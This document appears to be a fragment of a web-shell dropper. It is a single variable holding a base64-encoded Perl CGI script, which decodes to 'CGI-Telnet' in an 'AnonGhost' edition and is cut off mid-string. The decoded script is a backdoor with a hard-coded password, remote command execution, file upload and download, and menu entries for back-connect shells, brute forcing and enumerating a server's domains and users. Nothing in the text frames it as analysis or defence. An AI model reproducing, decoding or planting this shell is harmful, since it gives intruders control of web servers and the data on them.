2323 $cgi4e = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS40IjsNCiRFZGl0UGVyc2lvbj0iQW5vbkdob3N0IjsNCg0KJFBhc3N3b3JkID0gInZpcnVzYSI7CQkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzDQoJCQkJIyB0byBsb2dpbi4NCnN1YiBJc19XaW4oKXsNCgkkb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7DQoJaWYoJG9zID1+IG0vd2luL2kpew0KCQlyZXR1cm4gMTsNCgl9ZWxzZXsNCgkJcmV0dXJuIDA7DQoJfQ0KfQ0KJFdpbk5UID0gJklzX1dpbigpOwkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYNCgkJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQNCgkJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UNCgkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLg0KDQokTlRDbWRTZXAgPSAiJiI7CQkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULg0KDQokVW5peENtZFNlcCA9ICI7IjsJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CQkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxlZA0KCQkJCQkjIERvbid0IHNldCB0aGlzIHRvIGEgdmVyeSBsYXJnZSB2YWx1ZS4gVGhpcyBpcw0KCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0DQoJCQkJCSMgdGFrZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4NCgkJCQkJIyBUaGlzIGlzIHZhbGlkIG9ubHkgb24gVW5peCBzZXJ2ZXJzLiBJdCBpcw0KCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4NCg0KJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlDQoJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlDQoJCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB0aGUgY29tbWFuZA0KCQkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UNCgkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQNCgkJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuDQoNCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISENCg0KJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7DQokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7DQokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsNCiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7DQokY29scz0gMTMwOw0KJHJvd3M9IDI2Ow0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0DQojIHBhcnNlcyBHRVQsIFBPU1QgYW5kIG11bHRpcGFydC9mb3JtLWRhdGEgdGhhdCBpcyB1c2VkIGZvciB1cGxvYWRpbmcgZmlsZXMuDQojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uDQojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mDQojIHRoZSB2YXJpYWJsZS4gTm90ZTogTW9zdCBvZiB0aGUgY29kZSBpbiB0aGlzIGZ1bmN0aW9uIGlzIHRha2VuIGZyb20gb3RoZXIgQ0dJDQojIHNjcmlwdHMuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUmVhZFBhcnNlIA0Kew0KCWxvY2FsICgqaW4pID0gQF8gaWYgQF87DQoJbG9jYWwgKCRpLCAkbG9jLCAka2V5LCAkdmFsKTsNCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsNCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQ0KCXsNCgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQoJfQ0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQ0KCXsNCgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOw0KCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KCX0NCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0KCQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0KCQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOw0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGldID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsNCgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICIiIGlmIChkZWZpbmVkKCRpbnska2V5fSkpOw0KCQkJJGlueyRrZXl9IC49ICR2YWw7DQoJCX0NCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIGZ1bmN0aW9uIEVuY29kZURpcjogZW5jb2RlIGJhc2U2NCBQYXRoDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRW5jb2RlRGlyDQp7DQoJbXkgJGRpciA9IHNoaWZ0Ow0KCSRkaXIgPSB0cmltKGVuY29kZV9iYXNlNjQoJGRpcikpOw0KCSRkaXIgPX4gcy8oXHJ8XG4pLy87DQoJcmV0dXJuICRkaXI7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCW15ICRpZCA9IGBpZGAgaWYoISRXaW5OVCk7DQoJbXkgJGluZm8gPSBgdW5hbWUgLXMgLW4gLXIgLWlgOw0KCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOw0KCXByaW50IDw8RU5EOw0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4NCjx0aXRsZT5Bbm9uR2hvc3QgQ2dpLVRlbG5ldCBbICRWZXJzaW9uIF08L3RpdGxlPg0KJEh0bWxNZXRhSGVhZGVyDQo8L2hlYWQ+DQo8c3R5bGU+DQpib2R5ew0KZm9udDogMTBwdCBWZXJkYW5hOw0KY29sb3I6ICNmZmY7DQp9DQp0cix0ZCx0YWJsZSxpbnB1dCx0ZXh0YXJlYSB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCn0NCiNkb21haW4gdHI6aG92ZXJ7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjNDQ0Ow0KfQ0KdGQgew0KY29sb3I6ICMyQkE4RUM7DQp9DQoubGlzdGRpciB0ZHsNCgl0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQoubGlzdGRpciB0aHsNCgljb2xvcjogI0ZGOTkwMDsNCn0NCi5kaXIsLmZpbGUNCnsNCgl0ZXh0LWFsaWduOiBsZWZ0ICFpbXBvcnRhbnQ7DQp9DQouZGlyew0KCWZvbnQtc2l6ZTogMTBwdDsgDQoJZm9udC13ZWlnaHQ6IGJvbGQ7DQp9DQp0YWJsZSB7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMTExOw0KfQ0KaW5wdXQgew0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpjb2xvcjogI2ZmOTkwMDsNCn0NCmlucHV0LnN1Ym1pdCB7DQp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQpjb2xvcjogI0ZGRkZGRjsNCmJvcmRlci1jb2xvcjogIzAwOTkwMDsNCn0NCmNvZGUgew0KYm9yZGVyOiBkYXNoZWQgMHB4ICMzMzM7DQpjb2xvcjogd2hpbGU7DQp9DQpydW4gew0KYm9yZGVyCQkJOiBkYXNoZWQgMHB4ICMzMzM7DQpjb2xvcjogI0ZGMDBBQTsNCn0NCnRleHRhcmVhIHsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6ICNhYWE7DQp9DQpBOmxpbmsgew0KCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQoJQ09MT1I6ICMyQkE4RUM7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTpob3ZlciB7DQoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOw0KCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6YWN0aXZlIHsNCgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCi5saXN0ZGlyIHRyOmhvdmVyew0KCWJhY2tncm91bmQ6ICM0NDQ7DQp9DQoubGlzdGRpciB0cjpob3ZlciB0ZHsNCgliYWNrZ3JvdW5kOiAjNDQ0Ow0KCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lOw0KfQ0KLm5vdGxpbmV7DQoJYmFja2dyb3VuZDogIzExMTsNCn0NCi5saW5lew0KCWJhY2tncm91bmQ6ICMyMjI7DQp9DQo8L3N0eWxlPg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBFbmNvZGVyKG5hbWUpDQp7DQoJdmFyIGUgPSAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQobmFtZSk7DQoJZS52YWx1ZSA9IGJ0b2EoZS52YWx1ZSk7DQoJcmV0dXJuIHRydWU7DQp9DQpmdW5jdGlvbiBjaG1vZF9mb3JtKGksZmlsZSkNCnsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRFbmNvZGVDdXJyZW50RGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7DQp9DQpmdW5jdGlvbiBybV9jaG1vZF9mb3JtKHJlc3BvbnNlLGkscGVybXMsZmlsZSkNCnsNCglyZXNwb25zZS5pbm5lckhUTUwgPSAiPHNwYW4gb25jbGljaz1cXFwiY2htb2RfZm9ybSgiICsgaSArICIsJyIrIGZpbGUrICInKVxcXCIgPiIrIHBlcm1zICsiPC9zcGFuPjwvdGQ+IjsNCn0NCmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOw0KCXZhciBiYWNrPSJybV9yZW5hbWVfZm9ybSgiK2krIixcXFwiIitmaWxlKyJcXFwiLFxcXCIiK2YrIlxcXCIpOyByZXR1cm4gZmFsc2U7IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScnIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPXJlbmFtZSB0eXBlPXRleHQgdmFsdWU9ICciK2ZpbGUrIicgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJEVuY29kZUN1cnJlbnREaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsNCn0NCmZ1bmN0aW9uIHJtX3JlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCWlmKGY9PSdmJykNCgl7DQoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1jb21tYW5kJmQ9JEVuY29kZUN1cnJlbnREaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsNCgl9ZWxzZQ0KCXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOw0KCX0NCn0NCjwvc2NyaXB0Pg0KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiMwYzBjMGMiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+DQo8Y2VudGVyPjxjb2RlPg0KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8dHI+DQoJPHRkIGFsaWduPSJjZW50ZXIiIHJvd3NwYW49Mz4NCgkJPGI+PGZvbnQgc2l6ZT0iMyI+by0tLVsgICRFZGl0UGVyc2lvbiBdLS0tbzwvZm9udD48L2I+DQoJPC90ZD4NCgk8dGQ+DQoJCSRpbmZvDQoJPC90ZD4NCgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjZmY5OTAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iI2ZmOTkwMCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4NCgk8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIj4NCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNvbW1hbmQmZD0kRW5jb2RlQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Z3VpJmQ9JEVuY29kZUN1cnJlbnREaXIiPkdVSTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZUN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YnJ1dGVmb3JjZXIiPkJydXRlIEZvcmNlcjwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+TG9nb3V0PC9hPiB8DQo8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0iIyI+SGVscDwvYT4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiPg0KJGlkDQo8L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8Zm9udCBpZD0iUmVzcG9uc2VEYXRhIiBjb2xvcj0iI0ZGRkZGRiIgPg0KRU5EDQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpblNjcmVlbg0Kew0KCXByaW50IDw8RU5EOw0KPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpUeXBpbmdUZXh0ID0gZnVuY3Rpb24oZWxlbWVudCwgaW50ZXJ2YWwsIGN1cnNvciwgZmluaXNoZWRDYWxsYmFjaykgew0KICBpZigodHlwZW9mIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkID09ICJ1bmRlZmluZWQiKSB8fCAodHlwZW9mIGVsZW1lbnQuaW5uZXJIVE1MID09ICJ1bmRlZmluZWQiKSkgew0KICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4NCiAgICByZXR1cm47DQogIH0NCiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsNCiAgdGhpcy5maW5pc2hlZENhbGxiYWNrID0gKGZpbmlzaGVkQ2FsbGJhY2sgPyBmaW5pc2hlZENhbGxiYWNrIDogZnVuY3Rpb24oKSB7IHJldHVybjsgfSk7DQogIHRoaXMuaW50ZXJ2YWwgPSAodHlwZW9mIGludGVydmFsID09ICJ1bmRlZmluZWQiID8gMTAwIDogaW50ZXJ2YWwpOw0KICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsNCiAgdGhpcy51bnBhcnNlZE9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dDsNCiAgdGhpcy5jdXJzb3IgPSAoY3Vyc29yID8gY3Vyc29yIDogIiIpOw0KICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7DQogIHRoaXMuY3VycmVudENoYXIgPSAwOw0KICB0aGlzLmVsZW1lbnQudHlwaW5nVGV4dCA9IHRoaXM7DQogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsNCiAgVHlwaW5nVGV4dC5hbGwucHVzaCh0aGlzKTsNCiAgdGhpcy5ydW5uaW5nID0gZmFsc2U7DQogIHRoaXMuaW5UYWcgPSBmYWxzZTsNCiAgdGhpcy50YWdCdWZmZXIgPSAiIjsNCiAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsNCiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7DQp9DQpUeXBpbmdUZXh0LmFsbCA9IG5ldyBBcnJheSgpOw0KVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOw0KVHlwaW5nVGV4dC5ydW5BbGwgPSBmdW5jdGlvbigpIHsNCiAgZm9yKHZhciBpID0gMDsgaSA8IFR5cGluZ1RleHQuYWxsLmxlbmd0aDsgaSsrKSBUeXBpbmdUZXh0LmFsbFtpXS5ydW4oKTsNCn0NClR5cGluZ1RleHQucHJvdG90eXBlLnJ1biA9IGZ1bmN0aW9uKCkgew0KICBpZih0aGlzLnJ1bm5pbmcpIHJldHVybjsNCiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CS8vIFdlIGhhdmVuJ3QgZmluaXNoZWQgbG9hZGluZyB5ZXQuICBIYXZlIHBhdGllbmNlLg0KICAgIHJldHVybjsNCiAgfQ0KICBpZih0aGlzLmN1cnJlbnRUZXh0ID09ICIiKSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gIiI7DQovLyAgdGhpcy5vcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQucmVwbGFjZSgvPChbXjxdKSo+LywgIiIpOyAgICAgLy8gU3RyaXAgSFRNTCBmcm9tIHRleHQuDQogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgew0KICAgIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI8IiAmJiAhdGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgPSAiPCI7DQogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI+IiAmJiB0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciArPSAiPiI7DQogICAgICB0aGlzLmluVGFnID0gZmFsc2U7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMudGFnQnVmZmVyOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiJiIgJiYgIXRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiJiI7DQogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiOyIgJiYgdGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSAiOyI7DQogICAgICB0aGlzLmluSFRNTEVu